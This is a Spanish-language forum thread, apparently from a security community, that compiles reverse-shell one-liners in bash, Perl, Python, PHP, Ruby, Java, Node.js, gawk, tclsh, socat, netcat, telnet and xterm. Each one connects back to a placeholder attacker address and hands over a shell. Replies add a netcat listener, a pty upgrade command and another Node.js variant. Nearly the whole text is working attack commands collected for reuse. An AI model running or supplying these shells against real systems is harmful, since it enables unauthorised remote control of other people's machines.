Listado de comandos para obtener una shell inversa en diferentes lenguajes de programación

Buen dia gente, últimamente he estado recolectando algunos comandos para obtener shells inversas en diferentes lenguajes de programación, es una tarea un poco tediosa tener que buscar siempre y me gustaria tenerlo todo en un solo lugar.

Qué mejor que ese lugar sea la comunidad dragonjar donde me han sabido recibir muy bien, entonces les dejo algunos de los que he encontrado, pero los invito a hacer crecer la lista para que se vuelva un hilo de consulta permanente que nos ayude en estos temas.

EN BASH

bash -i >& /dev/tcp/TUIP/8080 0>&1

EN PERL

perl -e 'use Socket;$i="TUIP";$p=PUERTO;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

EN PYTHON

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TUIP",PUERTO));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

EN PHP

php -r '$sock=fsockopen("TUIP",PUERTO);exec("/bin/sh -i <&3 >&3 2>&3");'

EN RUBY

ruby -rsocket -e'f=TCPSocket.open("TUIP",PUERTO).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

CON NETCAT

nc -e /bin/sh TUIP PUERTO

EN JAVA

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/TUIP/PUERTO;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

CON XTERM

xterm -display TUIP:1

CON EXEC

exec 5<>/dev/tcp/TUIP/PUERTO
cat <&5 | while read line; do $line 2>&5 >&5; done

CON TELNET

telnet attackerip PUERTO | /bin/bash | telnet attackerip 2345

CON GAWK

awk 'BEGIN {s = "/inet/tcp/0/TUIP/PUERTO"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

CON NODE.JS

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(PUERTO, "TUIP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Para que Node.js no se rompa
})();

CON TCLSH

echo 'set s [socket TUIP PUERTO];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

CON SOCAT

socat tcp-connect:TUIP:PUERTO exec:"bash -li",pty,stderr,setsid,sigint,sane

Recuerden que deben tener a la escucha el Netcat para recibir la shellcode

nc -l -p PUERTO -vvv

Mejores respuestas

  • Respuesta ✓

    Buen día @Garbage gracias por el aporte, la verdad es que me pasa igual, a mi personalmente me molesta mucho que las shells sean planas y poco interactivas, por eso pienso que te falta poner este comando en python para convertir la conexión obtenía en una Shell más usable.

    python -c 'import pty;pty.spawn(“/bin/bash")'

  • Respuesta ✓

    Tengo otra con node

    NODE.JS

    require('child_process').exec('bash -i >& /dev/tcp/TUIP/¨PUERTO 0>&1');

    Tienes que tener netcat

    nc -e /bin/sh IP PUERTO

Respuestas

Accede o Regístrate para comentar.